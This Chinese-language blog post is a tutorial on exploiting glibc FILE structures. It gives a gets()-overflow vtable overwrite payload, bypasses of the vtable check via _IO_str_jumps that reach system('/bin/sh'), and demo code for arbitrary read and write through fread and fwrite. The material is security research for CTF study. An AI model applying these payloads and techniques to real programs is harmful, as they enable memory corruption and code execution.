关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
Play with FILE Structure [2]
无
392
0
0
mut3p1g
继续学习一下台湾大佬对文件结构的一些利用姿势:[Play with FILE Structure](http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html)。 上一节已经将几个基本文件操作函数从源码层面进行了分析,这一节就学习一下如何对这几个函数进行漏洞利用,其中稍微在大佬给的方法之外加入了一丢丢自己的想法。 <!--more--> ## 0x02 Exploitation ### 1. basic 最基本的就是通过覆写`vtable`,从而篡改`IO`函数地址以执行我们指定地址代码的目的。 ``` struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable;//IO函数跳转表 }; ``` 这里可以参照`pwnable.tw`一道关于[FSP](http://mutepig.club/index.php/archives/19/)的题解。 #### a. source code ``` #include <stdio.h> char buf[0x100]=""; FILE *fp ; void shell(){ system("/bin/sh"); } int main(){ fp = fopen("test.txt","r"); gets(buf); fclose(fp); } ``` #### b. exploit 我们这里可以给`buf`输入一长串1,从而将`fp`溢出,然后在执行`fclose`时会报错,因为`fp`指向的地址不可访问: ``` 53 if (fp->_IO_file_flags & _IO_IS_FILEBUF) 54 _IO_un_link ((struct _IO_FILE_plus *) fp); pwndbg> p fp $2 = (_IO_FILE *) 0x3131313131313131 ``` 那么我们调试一下,将`fp`指向我们输入的`buf`那里 ``` payload = "1"*0x100 + p64(buf_addr) ``` 然后继续报错,在这里: ``` 56 _IO_acquire_lock (fp); ``` 那么只需要让我们构造的`fp->_lock`指向一个可读地址且其值为`\x00(dword)`的就可以了: ``` payload = "\x00"*0x88 + p64(buf_addr) + "1"*(0x100-0x90) + p64(buf_addr) ``` 那么再继续走,又报错了: ``` 0x7fb1ff753290 <fclose+48> mov rax, qword ptr [rbx + 0xd8] <0x601158> # vtable 0x7fb1ff753297 <fclose+55> xor esi, esi 0x7fb1ff753299 <fclose+57> mov rdi, rbx 0x7fb1ff75329c <fclose+60> call qword ptr [rax + 0x10] ``` 这里的`rax`是我们可控的,所以此时我们就控制了程序的走向 ``` payload = "\x00"*0x10 + p64(system_addr) + "\x00"*(0x88-0x18) + p64(buf_addr)/*_lock*/ + "\x00"*(0xd8-0x90) + p64(buf_addr)/*vtable*/ + "\x00"*(0x100-0xe0) + p64(buf_addr)/*fp*/ ``` ### 2. fsop 这个攻击方法就是[houseoforange](http://mutepig.club/index.php/archives/51/),这里我就不再重复分析了。 ### 3. vtable check 在最新版的`libc`中加入了对`vtable`合法性的校验,你可以从这里下载[最新版libc](ftp.gnu.org/gnu/libc/)我们来看看具体过程是什么样的。 #### a. source code * IO_validate_vtable 如果待校验的`vtable`距离`__start___libc_IO_vtables`长度超过了` __stop___libc_IO_vtables - __start___libc_IO_vtables`,那么就要调用`_IO_vtable_check`来校验。 ``` 865 static inline const struct _IO_jump_t * 866 IO_validate_vtable (const struct _IO_jump_t *vtable) 867 { 868 /* Fast path: The vtable pointer is within the __libc_IO_vtables 869 section. */ 870 uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; // vtable默认长度 871 const char *ptr = (const char *) vtable; 872 uintptr_t offset = ptr - __start___libc_IO_vtables; 873 if (__glibc_unlikely (offset >= section_length)) // 如果待校验的vtable距离libc的vtable长度超过了默认长度 874 /* The vtable pointer is not in the expected section. Use the 875 slow path, which will terminate the process if necessary. */ 876 _IO_vtable_check (); 877 return vtable; 878 } ``` * _IO_vtable_check ``` 38 void attribute_hidden 39 _IO_vtable_check (void) 40 { 41 #ifdef SHARED 42 /* Honor the compatibility flag. */ 43 void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); 44 #ifdef PTR_DEMANGLE 45 PTR_DEMANGLE (flag); 46 #endif 47 if (flag == &_IO_vtable_check) 48 return; 49 50 /* In case this libc copy is in a non-default namespace, we always 51 need to accept foreign vtables because there is always a 52 possibility that FILE * objects are passed across the linking 53 boundary. */ 54 { 55 Dl_info di; 56 struct link_map *l; 57 if (_dl_open_hook != NULL 58 || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 59 && l->l_ns != LM_ID_BASE)) 60 return; 61 } 62 63 #else /* !SHARED */ 64 /* We cannot perform vtable validation in the static dlopen case 65 because FILE * handles might be passed back and forth across the 66 boundary. Therefore, we disable checking in this case. */ 67 if (__dlopen != NULL) 68 return; 69 #endif 70 71 __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); 72 } ``` #### b. bypass ##### i) _IO_str_jumps -> overflow * 原理1 校验的是`vtable`所在的位置是否合法,但是在`libc`中不仅仅只有`_IO_file_jumps`这么一个`vtable`,还有一个叫`_IO_str_jumps`的: ``` 355 const struct _IO_jump_t _IO_str_jumps libio_vtable = 356 { 357 JUMP_INIT_DUMMY, 358 JUMP_INIT(finish, _IO_str_finish), 359 JUMP_INIT(overflow, _IO_str_overflow), 360 JUMP_INIT(underflow, _IO_str_underflow), 361 JUMP_INIT(uflow, _IO_default_uflow), 362 JUMP_INIT(pbackfail, _IO_str_pbackfail), 363 JUMP_INIT(xsputn, _IO_default_xsputn), 364 JUMP_INIT(xsgetn, _IO_default_xsgetn), 365 JUMP_INIT(seekoff, _IO_str_seekoff), 366 JUMP_INIT(seekpos, _IO_default_seekpos), 367 JUMP_INIT(setbuf, _IO_default_setbuf), 368 JUMP_INIT(sync, _IO_default_sync), 369 JUMP_INIT(doallocate, _IO_default_doallocate), 370 JUMP_INIT(read, _IO_default_read), 371 JUMP_INIT(write, _IO_default_write), 372 JUMP_INIT(seek, _IO_default_seek), 373 JUMP_INIT(close, _IO_default_close), 374 JUMP_INIT(stat, _IO_default_stat), 375 JUMP_INIT(showmanyc, _IO_default_showmanyc), 376 JUMP_INIT(imbue, _IO_default_imbue) 377 }; ``` 那么如果我们能设置文件指针的`vtable`为`_IO_str_jumps`,那么就能调用不一样的文件操作函数了。 那么看下存在问题的`_IO_str_overflow`。 ``` 80 int 81 _IO_str_overflow (_IO_FILE *fp, int c) 82 { 83 int flush_only = c == EOF; 84 _IO_size_t pos; 85 if (fp->_flags & _IO_NO_WRITES) // 文件必须可写,否则就退出 86 return flush_only ? 0 : EOF; 87 if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) 88 { 89 fp->_flags |= _IO_CURRENTLY_PUTTING; 90 fp->_IO_write_ptr = fp->_IO_read_ptr; 91 fp->_IO_read_ptr = fp->_IO_read_end; 92 } 93 pos = fp->_IO_write_ptr - fp->_IO_write_base; // 位置 94 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) 95 { 96 if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ 97 return EOF; 98 else 99 { 100 char *new_buf; 101 char *old_buf = fp->_IO_buf_base; 102 size_t old_blen = _IO_blen (fp); 103 _IO_size_t new_size = 2 * old_blen + 100; 104 if (new_size < old_blen) 105 return EOF; 106 new_buf 107 = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 108 if (new_buf == NULL) 109 { 110 /* __ferror(fp) = 1; */ 111 return EOF; 112 } 113 if (old_buf) 114 { 115 memcpy (new_buf, old_buf, old_blen); 116 (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); 117 /* Make sure _IO_setb won't try to delete _IO_buf_base. */ 118 fp->_IO_buf_base = NULL; 119 } 120 memset (new_buf + old_blen, '\0', new_size - old_blen); 121 122 _IO_setb (fp, new_buf, new_buf + new_size, 1); 123 fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); 124 fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); 125 fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); 126 fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); 127 128 fp->_IO_write_base = new_buf; 129 fp->_IO_write_end = fp->_IO_buf_end; 130 } 131 } 132 133 if (!flush_only) 134 *fp->_IO_write_ptr++ = (unsigned char) c; 135 if (fp->_IO_write_ptr > fp->_IO_read_end) 136 fp->_IO_read_end = fp->_IO_write_ptr; 137 return c; 138 } ``` 大致操作其实和正常的`overflow`类似,但是关键在于它调用了这么一行代码: ``` 106 new_buf 107 = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); ``` 对于能够控制整个文件结构的我们来说,这就是可以控制程序的走向了。 但是有这样几个条件需要通过: ``` 1. fp->_flags & _IO_NO_WRITES为假 2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 3. fp->_flags & _IO_USER_BUF(0x01)为假 4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数 5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址 6. fp+0xe0指向system地址 ``` * demo code 这里我直接修改了一下`how2heap`中的代码: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack top[0] = ~1; top[0] &= ~8; top[4] = 0; // write_base top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr top[7] = 0; // buf_base top[8] = top[5] - 1; // buf_end // house_of_orange conditions top[1] = 0x61; top[24] = 1; top[21] = 2; top[22] = 3; top[20] = (size_t) &top[18]; top[27] = (size_t)stdin - 0x1140; // _IO_str_jumps地址 top[28] = &winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ``` ##### ii) _IO_str_jumps -> finish * 原理 原理和上面类似,都是利用`_IO_str_jumps`中的文件函数,但是可以利用偏移来调用其他文件函数,譬如下面的`_IO_str_finish`: ``` 345 void 346 _IO_str_finish (_IO_FILE *fp, int dummy) 347 { 348 if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) 349 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); 350 fp->_IO_buf_base = NULL; 351 352 _IO_default_finish (fp, 0); 353 } ``` 但是限制条件就少了很多: ``` 1. buf_base不为空 2. flags & _IO_USER_BUF(0x01) 为假 3. buf_base指向/bin/sh的地址 4. fp+0xe8指向system地址 ``` * demo code 和上面类似,但是可以看到条件明显少了很多 ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack top[0] = ~1; top[7] = ((size_t)&binsh_in_libc); // buf_base // house_of_orange conditions top[1] = 0x61; top[24] = 1; top[21] = 2; top[22] = 3; top[20] = (size_t) &top[18]; top[27] = (size_t)stdin - 0x1140 - 0x8; top[29] = &winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ``` ##### iii) _IO_wstr_jumps 和上面类似,还有个`_IO_wstr_jumps`: ``` 366 const struct _IO_jump_t _IO_wstr_jumps libio_vtable = 367 { 368 JUMP_INIT_DUMMY, 369 JUMP_INIT(finish, _IO_wstr_finish), 370 JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow), 371 JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow), 372 JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), 373 JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail), 374 JUMP_INIT(xsputn, _IO_wdefault_xsputn), 375 JUMP_INIT(xsgetn, _IO_wdefault_xsgetn), 376 JUMP_INIT(seekoff, _IO_wstr_seekoff), 377 JUMP_INIT(seekpos, _IO_default_seekpos), 378 JUMP_INIT(setbuf, _IO_default_setbuf), 379 JUMP_INIT(sync, _IO_default_sync), 380 JUMP_INIT(doallocate, _IO_wdefault_doallocate), 381 JUMP_INIT(read, _IO_default_read), 382 JUMP_INIT(write, _IO_default_write), 383 JUMP_INIT(seek, _IO_default_seek), 384 JUMP_INIT(close, _IO_default_close), 385 JUMP_INIT(stat, _IO_default_stat), 386 JUMP_INIT(showmanyc, _IO_default_showmanyc), 387 JUMP_INIT(imbue, _IO_default_imbue) 388 }; ``` 而其文件函数代码也和上面那个类似,利用方法也差不多,也就不再赘述了。 ### 4. other 如果不利用`vtable`的话,还能利用缓冲区以及`fileno`来实现攻击 #### 1) fwrite 我们可以通过修改`fp`中的一些属性,来达到任意地址写的目的。 ##### a. 任意地址读 * 原理 首先我们看下为什么可以任意地址写,关键在`_IO_new_file_write`,我们可以通过构造`f->_fileno=1`使之成为`stdout`,从而可以将数据通过`write`打印出来。 ``` 1191 _IO_ssize_t 1192 _IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n) 1193 { 1194 _IO_ssize_t to_do = n; 1195 while (to_do > 0) 1196 { 1197 _IO_ssize_t count = (__builtin_expect (f->_flags2 1198 & _IO_FLAGS2_NOTCANCEL, 0) 1199 ? __write_nocancel (f->_fileno, data, to_do) 1200 : __write (f->_fileno, data, to_do)); // 将数据data写入了f->_fileno中 1201 if (count < 0) 1202 { 1203 f->_flags |= _IO_ERR_SEEN; 1204 break; 1205 } 1206 to_do -= count; 1207 data = (void *) ((char *) data + count); 1208 } 1209 n -= to_do; 1210 if (f->_offset >= 0) 1211 f->_offset += n; 1212 return n; 1213 } ``` 那么看看走过来需要哪些条件 首先在`_IO_new_file_overflow`中,需要满足`f->_flags & _IO_NO_WRITES`为假,否则就表示文件不可写会退出;并且要满足`f->_flags & _IO_CURRENTLY_PUTTING`为真,这样才会调用下面那个函数。 ``` 747 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ // 文件不可写 748 { 749 f->_flags |= _IO_ERR_SEEN; 750 __set_errno (EBADF); 751 return EOF; 752 } 753 /* If currently reading or no buffer allocated. */ 754 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) // 如果当前不在写状态,那么必然在读状态 755 { ... 788 } 789 if (ch == EOF) 790 return _IO_do_write (f, f->_IO_write_base, 791 f->_IO_write_ptr - f->_IO_write_base); ``` 接着在`_IO_new_do_write`中,需要满足`fp->_IO_read_end == fp->_IO_write_base`,否则就会调整`seek`并返回。如果绕过了这个,就会调用`_IO_SYSWRITE`来将数据写入了。 ``` 449 else if (fp->_IO_read_end != fp->_IO_write_base) 450 { 451 _IO_off64_t new_pos 452 = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); // 调整seek 453 if (new_pos == _IO_pos_BAD) 454 return 0; 455 fp->_offset = new_pos; 456 } 457 count = _IO_SYSWRITE (fp, data, to_do); ``` 综上所述,需要满足一些几个条件就能打印目标地址中的数据: ``` 1. 修改_fileno为stdout 2. 修改_flag &= ~_IO_NO_WRITES 3. 修改_flag |= _IO_CURRENTLY_PUTTING 4. 设置write_base&write_ptr为目标地址 5. 设置read_end为write_base ``` * demo code ``` #include <stdio.h> char *msg = "secret"; char *buf = "fakesecret"; FILE *fp ; int main(){ fp = fopen("test.txt","rw"); fp->_flags &= ~8; fp->_flags |= 0x800; fp->_IO_write_base = msg; fp->_IO_write_ptr = msg+6; fp->_IO_read_end = fp->_IO_write_base; fp->_fileno = 1; fwrite(buf, 1, 0x100, fp); fclose(fp); } ``` 执行后就会打印`msg`中的`secret`。 ##### b. 固定地址写入任意地址 * 原理 同样我们先看下能任意地址写的位置,在`_IO_new_file_xsputn`中,会将`data`中的数据写入`f->_IO_write_ptr`: ``` 1247 else if (f->_IO_write_end > f->_IO_write_ptr) 1248 count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ 1249 1250 /* Then fill the buffer. */ 1251 if (count > 0) 1252 { 1253 if (count > to_do) 1254 count = to_do; 1255 f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); 1256 s += count; 1257 to_do -= count; 1258 } ``` 那么利用条件很简单,只用`write_end-write_ptr>要写入的数据长度`就可以了。 * demo code ``` #include <stdio.h> FILE *fp ; char buf[0x100]="fakesecret"; char msg[0x100] = ""; int main(){ fp = fopen("test.txt","w"); fp->_IO_write_ptr = msg; fp->_IO_write_end = fp->_IO_write_ptr+10; fwrite(buf, 1, 0x100, fp); puts(msg); fclose(fp); } ``` 执行后,就会将固定地址中的`buf`中的值写入任意地址`msg`,所以打印出来的是`fakesecret`。 #### 2) fread 这里正好和上面是对称的,所以简单分析一下。 ##### a. 任意地址写 * 原理 首先还是看下导致任意地址写的位置,就是在`_IO_file_read`,我们可以构造`fp->_fileno=0`即`stdin`,从而将输入的值写入`buf`。 ``` 1148 _IO_ssize_t 1149 _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) 1150 { 1151 return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) 1152 ? __read_nocancel (fp->_fileno, buf, size) 1153 : __read (fp->_fileno, buf, size)); 1154 } ``` 继续看看走到这里需要哪些条件: 在`_IO_file_xsgetn`中,需要`fp->_IO_read_end - fp->_IO_read_ptr>want`,那么全部置空就好了 ``` 1312 have = fp->_IO_read_end - fp->_IO_read_ptr; // 已经读了的数据 1313 if (want <= have) // 已读数据能满足需求的长度 ``` 在`_IO_new_file_underflow`中,需要`fp->_flags & _IO_NO_READS`为假,否则就会返回`EOF`,之后就会调用`sysread`读入数据到`fp->_IO_buf_base`。 ``` 478 if (fp->_flags & _IO_NO_READS) // 如果文件不可读,也返回EOF 479 { 480 fp->_flags |= _IO_ERR_SEEN; 481 __set_errno (EBADF); 482 return EOF; 483 } ... 531 count = _IO_SYSREAD (fp, fp->_IO_buf_base, 532 fp->_IO_buf_end - fp->_IO_buf_base); ``` 综上所述,需要以下几个条件: ``` 1. 修改_fileno为stdin 2. 修改_flag &= ~_IO_NO_READS 3. 设置read_ptr&read_end为NULL 4. 设置buf_base为目标地址,buf_end为buf_base+[读入数据长度+1] ``` 但是由于修改了`buf_base`,所以会导致在调用`fclose`时,调用`_IO_setb`会报错,因为`free (f->_IO_buf_base)`但其头部是非法的。 ``` 354 void 355 _IO_setb (_IO_FILE *f, char *b, char *eb, int a) 356 { 357 if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF)) 358 free (f->_IO_buf_base); 359 f->_IO_buf_base = b; 360 f->_IO_buf_end = eb; 361 if (a) 362 f->_flags &= ~_IO_USER_BUF; 363 else 364 f->_flags |= _IO_USER_BUF; 365 } ``` * demo code ``` #include <stdio.h> char msg[0x100] = "secret"; char buf[0x100] = "fakesecret"; FILE *fp ; int main(){ fp = fopen("test.txt","rw"); fp->_flags &= ~4; fp->_flags |= 0x800; fp->_IO_read_base = 0; fp->_IO_read_end = 0; fp->_IO_buf_base = msg; fp->_IO_buf_end = fp->_IO_buf_base+9; fp->_fileno = 0; fread(buf, 1, 8, fp); puts(msg); fclose(fp); } ``` 执行后,就会将`msg`赋值为我们输入的值 ##### b. 任意地址读至固定地址 * 原理 问题也是出在`_IO_file_xsgetn`,我们可以构造`fp->_IO_read_end - fp->_IO_read_ptr>需要读取数据的长度`,那么就能将`fp->_IO_read_ptr`中的数据写入到`data`中。 ``` 1312 have = fp->_IO_read_end - fp->_IO_read_ptr; // 已经读了的数据 1313 if (want <= have) // 已读数据能满足需求的长度 1314 { 1315 memcpy (s, fp->_IO_read_ptr, want); // 直接将对应长度的内容复制进去 1316 fp->_IO_read_ptr += want; // read_ptr向后指 1317 want = 0; 1318 } ``` * demo code ``` #include <stdio.h> FILE *fp ; char buf[0x100]="fakesecret"; char msg[0x100] = "secret"; int main(){ fp = fopen("test.txt","r"); fp->_IO_read_ptr = msg; fp->_IO_read_end = fp->_IO_read_ptr+0x0a; fread(buf, 1, 0x100, fp); puts(buf); fclose(fp); } ``` 执行后,就会将任意地址`msg`中的数据读入到固定地址`buf`中,所以会打印出`secret`。 ### 5. stdio #### 1) scanf 首先跟踪一下`scanf`的源码,看一下如何走到`read`函数。 在`_IO_vfscanf_internal`先调用了一下`inchar` ``` 618 /* Find the conversion specifier. */ 619 fc = *f++; 620 if (skip_space || (fc != L_('[') && fc != L_('c') 621 && fc != L_('C') && fc != L_('n'))) 622 { 623 /* Eat whitespace. */ 624 int save_errno = errno; 625 __set_errno (0); 626 do 627 /* We add the additional test for EOF here since otherwise 628 inchar will restore the old errno value which might be 629 EINTR but does not indicate an interrupt since nothing 630 was read at this time. */ 631 if (__builtin_expect ((c == EOF || inchar () == EOF) // 读入字符 632 && errno == EINTR, 0)) 633 input_error (); 634 while (ISSPACE (c)); 635 __set_errno (save_errno); 636 ungetc (c, s); 637 skip_space = 0; 638 } ``` 看一下`inchar`的定义,发现这里调用了`_IO_getc_unlocked`,而`_IO_getc_unlocked`调用了`__uflow` ``` 117 # define inchar() (c == EOF ? ((errno = inchar_errno), EOF) \ 118 : ((c = _IO_getc_unlocked (s)), \ 119 (void) (c != EOF \ 120 ? ++read_in \ 121 : (size_t) (inchar_errno = errno)), c)) 400 #define _IO_getc_unlocked(_fp) \ 401 (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0) \ 402 ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++) ``` 那么根据上一节对`unflow`的分析,可以知道它会调用`_IO_new_file_underflow`,并调用`_IO_file_read`,最终调用`__read (fp->_fileno, buf, size))`来将数据先读入缓冲区,这时`fp_fileno`指向`stdin`,`buf`指向`buf_base`,而`size=buf_end-buf_base`。 具体利用方式可以参照[hitcon2017:ghost in the heap]()的题解。
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.